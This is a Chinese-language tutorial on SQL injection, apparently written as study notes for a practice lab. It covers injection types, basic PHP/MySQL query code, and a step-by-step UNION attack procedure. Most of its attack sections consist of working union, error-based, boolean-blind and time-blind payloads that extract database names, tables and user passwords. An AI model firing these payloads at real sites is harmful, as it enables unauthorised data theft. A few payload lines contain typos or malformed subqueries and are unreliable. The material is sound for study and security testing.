SQL注入的常识是什么
1.1.1 SQL注入的原理是什么?
答:在数据交互中,前端的数据传入到后台处理时,由于后端没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。
1.1.2 SQL注入有哪些类型?
答:SQL注入按照注入点类型来分分为:
数字型注入,字符型注入,搜索型注入
SQL中注入按照提交类型来分分为:
GET注入,POST注入,COOKIE注入,HTTP头部注入,XFF注入
SQL注入按照技巧分类的话可以分为:
联合注入,布尔盲注,时间盲注,堆叠注入,报错注入,其他'
1.1.3 SQL注入危害
- 检索隐藏数据:可以修改SQL查询以返回其他结果
- 颠覆应用程序逻辑:可以在其中更改查询以干扰应用程序的逻辑
- UNION攻击:可以在其中从不同的数据库表中检索数据
- 检查数据库:可以在其中提取有光数据库版本和结构的信息
- 盲SQL注入:控制查询的结果不会再应用程序中返回
SQL注入的基本流程
2.1.1 PHP增删改查
旧版本PHP链接数据库
<?php
//连接数据库
$con=mysqli_connect("127.0.0.1","root","root","his");
if(!$con){
die("连接失败:".mysql_error());
}
?>
新版本PHP链接数据库
$servername="localhost";
$username="root";
$password="root";
$dbname="his";
//创建链接
$con = new mysqli($servername,$username,$password,$dbname);
//检测链接
if($con->connect_error){
die("The database is error:".$con->connect_error);
}
PHP查询语句
//查
$sql="SELECT * FROM sex where id <20 LIMIT 1,1";
//执行sql语句并且结果返回到$result;
$result=$con->query($sql);
//判断一下result里是否有数据
if($result->num_rows>0){
//把$result里的数据一条一条给$row
while($row=$result->fetch_assoc()){
echo $row['id'].'---'.$row['username'].'---'.$row['password'].'<br/>';
}
}
PHP插入语句
$sql="INSERT INTO sex(id,username,password) VALUES(41,'WANGDONG','NIHAO')";
if($con->query($sql)==TRUE){
echo'执行成功!';
}else{
echo'执行失败'.$con->error;
}
//注意这里的编码应该为UTF-8
PHP修改语句
//改
$sql="UPDATE sex SET password='zhufengyan' WHERE username='WANGDONG'";
if($con->query($sql)==TRUE){
echo"执行成功!!!";
}else{
echo"执行失败".$con->error;
}
PHP删除语句
$sql="DELETE FROM sex WHERE username='WANGDONG'";
if($con->query($sql)==TRUE){
echo"删除成功";
}else{
echo"wrong".$con->error;
}
//断开数据库链接
2.1.2 Mysql语法
1.转义字符'\':会把自己后面的第一个字符当做字符串
x\' === 字符串 x'
2.mysql基础语法
mysql -u[用户名] -p[密码];
show databases; //查看数据库
use databases; //使用数据库
show tables; //查看数据库里有什么表
select * from table1; //查看table1中有什么东西
3.Mysql的三种注释符
1. --+
2. /**/
3. #
4.确定有多少列
information_schema:数据库的户口本,我们可以通过这个数据库来刺探其他数据库中的库名,表名。
information_schema--tables保存着所有数据库的库名以及自己的表名
information_schema--columns保存着所有数据库的库名-表名-列名
5. Union联合
select id,username,password from sex where id<100 union select 1,2,3;
不正常运行结果如下
例1
select id,username,password from sex where id>100 union select 1,2,3;
例2
select id,username,password from sex where id <'x' union select 1,2,3;
select id,username,password from sex where id <"x" union select 1,2,3;
2.1.3 攻击步骤
1.推测数据库语法大概是什么
比如
select * from 某个表 where id ='参数' limit 0,1;
2.让他报错,显示自己的闭合方式
3.验证目标数据库语句的参数闭合方式
select * from 某个表 where id =' 2' --+ 'limit 0,1;
执行之后
select * from 某个表 where id =' 2';
如果执行成功,就说明闭合方式是这样
4.确定有多少列
select * from 某个表 where id ='2' order by 10 --+' limit 0,1;
select * from 某个表 where id ='2' order by 5 --+' limit 0,1;
通过二分法判断出,只能小于等于他的正确数列
5.使用联合查询
select * from 某个表 where id ='-2' union select 1,2,3 --+' limit 0,1;
要让左边错误,右边正确
这样会显示报错位,通过报错位来刺探网站的内容
6开始刺探数据库内部内容
-2 ' union select 1,database(),3 --+ //当前数据库名
-2 ' union select 1,version(),3 --+ //版本号
-2 ' union select 1,@@datadir,3 --+ //数据路径
7.通过information_schema特性来查询表
select x,y,z from 某个表 where id = ' -2' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='securtiy' limit 0,1;
8.查询表中的列
select x,y,z from 某个表 where id = ' -2' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+;
9.查询内容
select x,y,z from 某个表 where id =' -2' union select 1,group_concat(username),group_concat(password) from users --+
其他类型的SQL注入
3.1.1报错注入
报错注入函数:extractvalue()函数、updatexml()函数、floor()函数
小知识点
1.select count(*) from table1; 计算提取出来有多少个结果
2.select rand();生成一个随机数(0-1)
3.select floor(1.56);向下取整
4.select floor(rand()*2);随机去一个0-1的整数
5.select floor(rand()*2)a;给floor(rand()*2)取一个别名a,此后a即=floor(rand())*2)
6.select * from table1 group by id;以id来进行分组
7.select concat(1,2,3);把字符拼接起来
8.0x3a在数据库中是冒号':‘的意思;0x7e 在数据库中是弯号'~‘的意思
9.select floor(rand()*2) from table1;随机取和目标表列数相同数量的0和1,结果类似的如下
Mysql rand函数和count函数与floor函数在一起运行可能存在潜在的漏洞
在mysql官方的解释中rand()函数,每次出现都会重新计算一次
报错例句如下:
select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2)) from table1 group by concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2));
运行后相同语句出现如下情形,可以看到有时候正确会返回正确的结果,有时候会出现错误.:
如果输入错误就会报错,如果输出正确,会查数据库,但是不显示东西。
常见的报错注入语句
1.index.php?id=2' AND (select 1 from (select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a)b)--+ //数据库
2.index.php?id=2' and extractvalue(1,concat(0x7e,(select database()),0x7e)) --+
3.index.php?id=2' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+
3.1.2 布尔盲注
小知识
1.select database(); 展示当前数据库的库名
2.select length(database()); 展示当前数据库的库名有几个字
3.select substr(database(),1,1);截取数据库表名(譬如his),从人类的第一个字,截取一个'h'
4.select ascii(substr(database(),1,1));截取数据库表名(譬如his),从人类的第一个字,截取一个'h',并且转为ascii码。
5.select ascii(substr(database(),1,1))=100;截取数据库表名(譬如his),从人类的第一个字,截取一个'h',并且转为ascii码,判断是否等于100;
布尔盲注实战
1.index.php?id=1' and (select ascii(substr(database(),1,1))>100) --+
2.index.php?id=1' and (select ascii(substr(select table_name from information_schema.tables where table_schema=database(),1,1))>100) --+'
3.1.3 时间盲注
小知识
1.select sleep(5); 等5s后输出一个0
2.select if((select database())="his",sleep(5),null); 如果数据库名为his,则数据库查询等5s后再输出,如果不是,那就啥都不做
时间盲注实战
1.index.php?id=2 and if ((select database())="his",sleep(5),null)--+
2.index.php?id=2 and if ((select substr(table_name,1,1) from information_schema.tables where table_schema=database() limit 0,1)="s",sleep(5),null)--+